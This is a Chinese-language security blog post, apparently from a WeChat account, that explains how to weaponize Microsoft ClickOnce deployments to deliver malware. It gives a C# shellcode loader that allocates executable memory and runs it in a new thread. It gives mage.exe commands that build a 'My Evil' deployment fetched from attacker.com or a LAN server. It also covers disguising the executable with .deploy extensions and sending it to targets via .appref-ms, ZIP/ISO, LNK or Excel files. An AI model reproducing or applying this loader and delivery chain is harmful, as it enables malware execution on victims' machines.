ClickOnce武器化学习

文摘   2024-05-22 10:13   陕西  

欢迎加入我的知识星球,目前正在更新域和攻防相关的文章,后续会跟更免杀的东西,99/永久。

加好友备注星球!!!

你买的到的不仅仅是星球内的资源,更是群内的氛围,群内杜绝划水,杜绝聊和技术关的事情。

加我VX进入:

一些资源的截图:

ClickOnce是什么?

根据百度和微软介绍ClickOnce 是一种部署技术,使用该技术可创建自行更新的基于 Windows 的应用程序,这些应用程序可以通过最低程度的用户交互来安装和运行。

它可以让开发者更轻松地将应用程序发布到 Web 服务器或网络共享文件夹,并允许用户通过单击链接或按钮来安装、更新和运行应用程序。

如上文字我们得知我们可以将恶意文件发布到web服务器,然后用户通过ClickOnce来安装或运行我们的恶意文件。

其实也可以这么去理解,如果使用ClickOnce的话,开发者只需要将应用程序发布到服务器或者网络共享的文件夹中,然后去生成一个特殊包含应用程序描述信息的文件。用户可以通过很简单的链接或者按钮点击来安装此应用程序。

有几点我们需要简单的注意一下:

  1. 自动更新,ClickOnce应用程序在启动的时候会检查服务器上是否有更新的版本,如果有的话,则自动下载并安装更新。

  2. 隔离性,ClickOnce应用程序一般都在沙箱去跑的,这意味是受到一定的限制,无法对系统做出重大更改,从而提高了安全性。

总的来说ClickOnce提供了一种简单而强大的方式来部署和维护windows应用程序,使得开发者能够更专注于应用程序本身而不是部署的细节。

一般由这如下几个文件组成:

  1. 应用程序文件,这些文件是你要部署的实际的应用程序,包括可执行文件,资源集,资源文件等等。

  2. .manifest文件:这是一个XML文件,这个文件描述了应用程序的各个部分,包括文件列表,依赖项,程序集版本等信息。

  3. .application文件: 这个XML文件包含了与应用程序部署的相关信息,例如程序的入口点,发布者的证书,更新的策略等等。

  4. .pfx文件: 这个文件并不是必须存在的,这个文件是用于数字签名认证的。

  5. .deploy文件: 这个文件包含了应用程序部署的元数据和配置信息。

至于.pfx文件,这个文件如果不加的话,那么就相当于没有数字签名的,如果有数字签名的话那么windows弹窗出来的那个盾牌是绿色的,如果没有数字签名的话,那么就是红色的。

一旦安装应用程序之后,我们的程序会将dfsvc.exe作为自己的父进程来运行,相当于我们的恶意程序是子进程,dfsvc.exe是父进程。

有两种部署的模式。

  1. 从本地存储的文件(攻击者需要在ZIP/ISO/容器中传递一堆文件)

  2. 从URL(.appref-ms文件可以方便地触发)

这里简单说一下.appref-ms文件,这个文件是ClickOnce 应用程序的引用文件,用于启动 ClickOnce 应用程序。它是一种特殊的 Windows 快捷方式,包含了与 ClickOnce 应用程序相关的信息,例如应用程序的 URL 或路径、发布者证书等。

当用户通过浏览器或其他方式安装 ClickOnce 应用程序时,系统会创建一个 .appref-ms 文件,并将其放置在开始菜单或桌面上,用户可以通过双击该文件来启动应用程序。.appref-ms 文件实际上是一个 XML 文件。

这就是所谓的通过URL来进行部署。

如下是XML的例子:

<?xml version="1.0" encoding="UTF-8"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">    <assemblyIdentity name="YourApplicationName.application" version="1.0.0.0" publicKeyToken="YourPublicKeyToken" processorArchitecture="x86" />    <description>Your Application Description</description>    <entryPoint />    <dependentAssembly>        <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="6.0.0.0" publicKeyToken="6595b64144ccf1df" language="*" processorArchitecture="*" />    </dependentAssembly>    <dependency>        <dependentAssembly>            <assemblyIdentity name="YourApplicationName" version="1.0.0.0" publicKeyToken="YourPublicKeyToken" language="neutral" processorArchitecture="x86" />        </dependentAssembly>    </dependency>    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">        <security>            <requestedPrivileges>                <requestedExecutionLevel level="asInvoker" uiAccess="false" />            </requestedPrivileges>        </security>    </trustInfo></assembly>

在如上XML代码中的YourApplicationName.application是应用程序清单文件的名称。

YourPublicKeyToken 是应用程序的公钥标记。.appref-ms 文件中包含了应用程序的清单信息、程序集信息以及安全设置等。

用户可以通过双击 .appref-ms 文件来启动 ClickOnce 应用程序,系统会自动检查更新并下载应用程序的最新版本(如果有更新的话)。.appref-ms 文件的创建和管理是由 ClickOnce 安装器和系统自动处理的,用户无需手动编辑或管理这些文件。

我们可以来看一个例子:

当我们去点击.application文件的时候会显示正在验证应用程序要求。

可以看到这里的盾牌颜色是红色的,如果你有数字签名的话那么这里肯定是绿色的。

当我们去点击运行的时候成功弹出计算器。

可以看到我们的进程是在dfsvc.exe下的。

而dfsvc.exe是有微软的数字签名的。

接下来让我们来创建一个C#项目。

这里选择创建控制台应用(.Net)。

创建成功之后右键项目,有一个发布的选项。

这里的安装模式有两种第一种表示 INSTALL=FALSE。

这里的FALSE表示禁用了安装选项。

他不会直接去安装应用程序,会提示用户是否运行此应用程序。

我们再来试试第二个,也就是该应用程序也可以脱机使用。

当我们点击的时候会提示是否确定要安装此应用。

而在Application Files文件夹中会生成相应的文件。

现在让我们来尝试武器化:

首先需要准备一个c#的shellcode加载器或者直接准备一个exe文件也可以。

如下c# shellcode加载器例子:

//Thanks @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.csusing System;using System.Runtime.InteropServices;
namespace ShellcodeLoader{ class Program { static void Main(string[] args) { byte[] x64shellcode = new byte[294] { 0xfc,0x48, ... };
IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (ulong)x64shellcode.Length, (uint)StateEnum.MEM_COMMIT, (uint)Protection.PAGE_EXECUTE_READWRITE); Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero; uint threadId = 0; IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; }
#region pinvokes [DllImport("kernel32.dll")] private static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, ulong size, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] private static extern IntPtr CreateThread( uint lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, ref uint lpThreadId);
[DllImport("kernel32.dll")] private static extern uint WaitForSingleObject( IntPtr hHandle, uint dwMilliseconds);
public enum StateEnum { MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000, MEM_FREE = 0x10000 }
public enum Protection { PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, } #endregion }}

接下来我们去创建一个应用程序的清单。

.\mage.exe -New Application -Processor msil -ToFile beacon.exe.manifest -name "My Evil" -Version 1.0.0.0 -From Directory .

这里的mage这个工具是微软的一个清单和编辑的工具。

下载地址如下:

https://learn.microsoft.com/en-us/dotnet/framework/tools/mage-exe-manifest-generation-and-editing-tool

生成应用程序清单之后然后去创建一个部署清单,也就是应用程序的。

我们来简单解释一下这几个参数的意思:

-New 创建给定的类型的新文件,这里有两个可选地类型一个是Deployment 另外一个是Application。-Processor 表示运行此分发的微处理器体系结构。-Install 表示ClickOnce应用程序是否应该安装到本地计算机上。他有两个参数分别是true或false。-Publisher 表示将发布服务器名称添加到部署清单或应用程序清单的描述元素中。-ProviderUrl 表示指定ClickOnce要检查是否在应用程序更新的URL。-AppManifest 表示将对部署的应用程序的引用插入将对部署的应用程序清单的引用插入其部署清单中。其实这里指定的就是上一步创建的beacon.exe.manifest文件。-ToFile 表示指定已经创建或修改文件的输出路径。
.\mage.exe -New Deployment -Processor msil -Install false -Publisher "My Evil" -ProviderUrl https://attacker.com/evil.application -AppManifest beacon.exe.manifest -ToFile evil.application

生成之后我们就可以去执行.application文件了。

如上图会提示是偶运行此应用程序。

我们点击运行。

运行之后beacon.exe就跑起来了。

那么我们来看看进程链。

可以看到beacon.exe是跑在dfsvc.exe下的。

那么我们在想这么明显的exe别人不是一下就看出来是一个可执行文件吗?

其实是可以将.application文件和.manifest文件之外的其他文件都是可以去加.deploy这个后缀的。

例如:

beacon.exe.deploy

需要注意的是在.application文件中的deployment标签这里需要加上mapFileExtensions="true"。

其实在发布页面唯一的区别就是盾牌的颜色。

如下图:

一个是黄色一个是红色。

我们尝试运行第二个,其实他会直接安装到我们的应用程序中。

我们还可以将文件上传到你的远程服务器上例如:

https://www.attack.com/beacon.application

或者用.appref-ms文件发送给目标让其点击。

也可以直接做成zip或者ios文件,然后通过lnk去引用。

比如之前我们公众号说到过的通过Lnk去执行zip压缩包中的文件。

我们也可以远程加载,我们将其文件全部部署在服务器上,这里为了演示我们将所以文件都放到我物理机这里。

然后使用python去跑一个web服务即可。

需要注意的是在生成application文件的时候需要指定真正服务器的ip地址,这是本地部署唯一不同的。特别是ProviderUrl这个参数。

.\mage.exe -New Deployment -Processor msil -Install false -Publisher "My Evil" -ProviderUrl http://192.168.110.144/evil.application -AppManifest beacon.exe.manifest -ToFile evil.application

然后将其其他文件都删除,只留一个evil.application文件在目标机器上。

当我们点击的时候他就会请求远程的资源。

如下请求:

然后我们点击运行即可。

特别注意的是mage.exe也需要放到你服务器这里。

我们不仅可以将其部署在远程服务器上其实也可以部署到execle文档中进行加载。

本小节就先到这里 期待和您的下次相遇!!

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章